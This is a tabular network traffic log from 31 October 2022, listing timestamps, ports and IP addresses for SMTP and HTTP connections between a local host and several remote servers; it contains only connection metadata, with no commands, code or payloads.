Oct 31, 2022 12:19:38.297879934 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.297907114 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.343748093 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:38.352078915 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352113008 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352124929 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352149963 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352163076 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352174997 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352185965 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352190018 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.352200031 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352212906 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352225065 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352246046 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352252960 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.352271080 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352296114 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352307081 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352314949 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352322102 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352344990 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352355957 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.352365971 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.352379084 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406790972 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406836033 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406848907 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406861067 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406872988 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406898975 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406912088 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406923056 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406934023 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406945944 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406954050 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406961918 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406971931 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406979084 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406986952 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.406996965 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.407008886 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.407016039 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.409107924 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.409132957 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.409545898 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.409604073 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.441026926 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:38.441762924 CET	49795	80	192.168.2.5	81.17.29.146
Oct 31, 2022 12:19:38.457385063 CET	80	49795	81.17.29.146	192.168.2.5
Oct 31, 2022 12:19:38.457496881 CET	49795	80	192.168.2.5	81.17.29.146
Oct 31, 2022 12:19:38.457722902 CET	49795	80	192.168.2.5	81.17.29.146
Oct 31, 2022 12:19:38.473097086 CET	80	49795	81.17.29.146	192.168.2.5
Oct 31, 2022 12:19:38.478409052 CET	80	49795	81.17.29.146	192.168.2.5
Oct 31, 2022 12:19:38.478431940 CET	80	49795	81.17.29.146	192.168.2.5
Oct 31, 2022 12:19:38.478498936 CET	49795	80	192.168.2.5	81.17.29.146
Oct 31, 2022 12:19:38.478734016 CET	49795	80	192.168.2.5	81.17.29.146
Oct 31, 2022 12:19:38.494138956 CET	80	49795	81.17.29.146	192.168.2.5
Oct 31, 2022 12:19:38.533430099 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:38.550913095 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:38.606410980 CET	49798	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:38.708033085 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.762475014 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.796387911 CET	80	49798	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:38.799125910 CET	49798	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:38.799231052 CET	49798	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:38.808373928 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:38.811083078 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:38.912055969 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:38.989239931 CET	80	49798	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:38.989270926 CET	80	49798	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:38.989384890 CET	49798	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:39.010473013 CET	49798	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:39.082299948 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.083725929 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.112795115 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.112868071 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.129223108 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.200582027 CET	80	49798	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:39.345732927 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.345958948 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.444700956 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490403891 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490436077 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490453959 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490468979 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490485907 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490502119 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490518093 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490534067 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490531921 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.490531921 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.490533113 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.490549088 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490566969 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.490638018 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.490638018 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.490638018 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.490638018 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.490665913 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.711529970 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.851824999 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.851922035 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.851954937 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.851982117 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852014065 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852039099 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852035999 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.852035999 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.852035999 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.852035999 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.852067947 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852094889 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852122068 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852152109 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852176905 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852202892 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852210999 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.852210999 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.852210999 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.852210999 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.852232933 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852263927 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852267027 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:39.852292061 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852319002 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852344036 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852370024 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852396011 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.852422953 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.883018970 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:39.886203051 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:40.001873970 CET	49811	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:19:40.020689011 CET	80	49811	199.59.243.222	192.168.2.5
Oct 31, 2022 12:19:40.020814896 CET	49811	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:19:40.021080017 CET	49811	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:19:40.043271065 CET	80	49811	199.59.243.222	192.168.2.5
Oct 31, 2022 12:19:40.213649035 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.213704109 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.213764906 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.213807106 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.213850021 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.213890076 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.213915110 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.213943958 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.213984966 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.214006901 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.214031935 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.214060068 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.214083910 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.214107990 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.214133024 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.214155912 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.214179993 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.222892046 CET	80	49811	199.59.243.222	192.168.2.5
Oct 31, 2022 12:19:40.222959042 CET	80	49811	199.59.243.222	192.168.2.5
Oct 31, 2022 12:19:40.222990036 CET	80	49811	199.59.243.222	192.168.2.5
Oct 31, 2022 12:19:40.223031044 CET	49811	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:19:40.238712072 CET	80	49811	199.59.243.222	192.168.2.5
Oct 31, 2022 12:19:40.238823891 CET	49811	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:19:40.251735926 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.419481993 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.419706106 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:40.437921047 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.438103914 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:40.438328981 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.438385010 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:40.579920053 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:40.785326958 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.800365925 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:40.941042900 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:40.941268921 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:40.971343994 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:41.020937920 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:41.238707066 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:41.244688034 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:41.244837999 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:41.470973015 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:41.514791965 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:41.604361057 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:41.772393942 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:41.772598028 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:41.784612894 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:41.874802113 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:42.045460939 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:42.138145924 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.148480892 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:42.150213957 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.150249004 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.150262117 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.150273085 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.150284052 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.150295019 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.150305986 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.150316954 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.150366068 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:42.150480986 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:42.509120941 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:42.516195059 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516223907 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516237020 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516247988 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516259909 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516271114 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516346931 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:42.516433001 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:42.516525984 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516545057 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516556978 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516576052 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:42.516602039 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516606092 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:42.516635895 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516648054 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516659021 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516669989 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516680002 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516690969 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516907930 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.516931057 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.677709103 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:42.786699057 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:42.881884098 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.881947994 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.881989956 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882009983 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882039070 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882050037 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882083893 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882117033 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882134914 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882157087 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882175922 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882195950 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882251024 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882334948 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882375956 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882386923 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882644892 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:42.882658005 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:43.033648968 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:43.099756002 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:43.100029945 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:43.100128889 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:43.112999916 CET	49794	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:43.393683910 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:43.474797964 CET	25	49794	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:43.573194027 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:43.573365927 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:43.933310986 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.101500988 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.101725101 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:44.111485958 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:44.461653948 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471628904 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471669912 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471693039 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471725941 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471756935 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471776009 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471791029 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471812010 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471827984 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471859932 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:44.471870899 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.471860886 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:44.471988916 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:44.472012043 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:44.542507887 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:19:44.544240952 CET	49814	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:44.677978992 CET	25	49814	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:44.678090096 CET	49814	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:44.696892977 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:19:44.697169065 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:19:44.775432110 CET	49815	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:44.813875914 CET	25	49814	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:44.814105034 CET	49814	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:44.831985950 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832042933 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832071066 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832087994 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832103968 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832118034 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:44.832119942 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832137108 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832153082 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832169056 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832184076 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:44.832184076 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832200050 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832235098 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832269907 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832289934 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:44.832295895 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832313061 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832329035 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832344055 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832359076 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832457066 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.832473040 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:44.919509888 CET	25	49815	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:44.919734955 CET	49815	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:44.948323011 CET	25	49814	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:44.948636055 CET	49814	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:45.073190928 CET	25	49815	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:45.073560953 CET	49815	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:45.083151102 CET	25	49814	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:45.083549976 CET	49814	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:45.192641020 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192735910 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192766905 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192794085 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192821980 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192847967 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192874908 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192903042 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192928076 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192958117 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.192986012 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.193012953 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.193039894 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.193068027 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.193094969 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.193124056 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.193150997 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.193177938 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.218529940 CET	25	49814	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:45.218894005 CET	49814	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:45.219011068 CET	25	49815	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:45.219196081 CET	49815	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:45.352638006 CET	25	49814	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:45.353472948 CET	25	49814	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:45.353676081 CET	49814	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:45.362808943 CET	25	49815	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:45.363293886 CET	49815	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:45.415302038 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.415518045 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:45.415720940 CET	25	49812	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:45.415796995 CET	49812	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:45.465022087 CET	49816	25	192.168.2.5	142.250.150.26
